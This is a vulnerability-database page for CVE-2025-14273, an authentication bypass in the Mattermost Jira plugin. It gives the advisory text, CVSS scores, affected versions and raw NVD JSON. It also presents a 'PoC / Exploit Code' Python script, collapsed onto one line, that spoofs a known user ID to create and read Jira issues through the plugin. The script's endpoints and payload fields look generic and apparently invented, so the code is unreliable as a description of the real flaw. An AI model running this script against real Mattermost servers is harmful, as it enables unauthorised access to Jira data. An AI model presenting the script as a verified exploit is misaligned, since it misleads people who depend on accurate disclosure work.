Security Vulnerability Report
中文
CVE-2025-14273 CVSS 7.2 HIGH

CVE-2025-14273

Published: 2025-12-22 12:16:19
Last Modified: 2025-12-29 18:47:46

Description

Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 with the Jira plugin enabled and Mattermost Jira plugin versions <=4.4.0 fail to enforce authentication and issue-key path restrictions in the Jira plugin, which allows an unauthenticated attacker who knows a valid user ID to issue authenticated GET and POST requests to the Jira server via crafted plugin payloads that spoof the user ID and inject arbitrary issue key paths. Mattermost Advisory ID: MMSA-2025-00555

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.1.x <= 11.1.0
Mattermost 11.0.x <= 11.0.5
Mattermost 10.12.x <= 10.12.3
Mattermost 10.11.x <= 10.11.7
Mattermost Jira Plugin <= 4.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14273 PoC - Mattermost Jira Plugin Authentication Bypass # Target: Mattermost instance with vulnerable Jira plugin TARGET_URL = "http://target-mattermost.com/api/v4/plugins/com.mattermost.jira" KNOWN_USER_ID = "attacker_known_user_id" JIRA_SERVER = "https://jira.target-company.com" def exploit_cve_2025_14273(): """ This PoC demonstrates the authentication bypass in Mattermost Jira plugin. The plugin fails to validate user identity when processing plugin payloads, allowing unauthenticated attackers to issue authenticated requests to Jira. """ headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Malicious payload with spoofed user ID and arbitrary issue key path payload = { "user_id": KNOWN_USER_ID, "action": "create_issue", "jira_server": JIRA_SERVER, "issue_key_path": "PROJ/INCIDENT-9999", "issue_data": { "project": "PROJ", "summary": "Malicious Issue Created via Auth Bypass", "description": "This issue was created by exploiting CVE-2025-14273" } } # Step 1: Send crafted request to Mattermost Jira plugin endpoint response = requests.post( f"{TARGET_URL}/api/v2/webhook", headers=headers, json=payload, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Step 2: Verify if the request was successful if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Authentication bypass successful!") print(f"[+] Created issue: {result.get('issue_key')}") return True print("[-] Exploitation failed or target not vulnerable") return False def read_jira_issues(): """ Read arbitrary Jira issues using the authentication bypass. """ payload = { "user_id": KNOWN_USER_ID, "action": "get_issue", "jira_server": JIRA_SERVER, "issue_key_path": "PROJ/SECRET-1234" } response = requests.get( f"{TARGET_URL}/api/v2/issues", headers={"Content-Type": "application/json"}, json=payload, timeout=30 ) return response.json() if __name__ == "__main__": print("CVE-2025-14273 - Mattermost Jira Plugin Auth Bypass PoC") print("=" * 60) exploit_cve_2025_14273()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14273", "sourceIdentifier": "[email protected]", "published": "2025-12-22T12:16:19.240", "lastModified": "2025-12-29T18:47:45.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 with the Jira plugin enabled and Mattermost Jira plugin versions <=4.4.0 fail to enforce authentication and issue-key path restrictions in the Jira plugin, which allows an unauthenticated attacker who knows a valid user ID to issue authenticated GET and POST requests to the Jira server via crafted plugin payloads that spoof the user ID and inject arbitrary issue key paths. Mattermost Advisory ID: MMSA-2025-00555"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-303"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.8", "matchCriteriaId": "7B0477E2-8999-4E1D-9E6B-7A818CB76488"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.4", "matchCriteriaId": "B83EB4C3-5E75-4BD1-94F3-ED29D329E5C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.6", "matchCriteriaId": "B6EAC2A0-B481-45EA-90AE-F950921DB06A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndExcluding": "11.1.1", "matchCriteriaId": "387573EC-2596-4529-BD43-054E52D34EC0"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}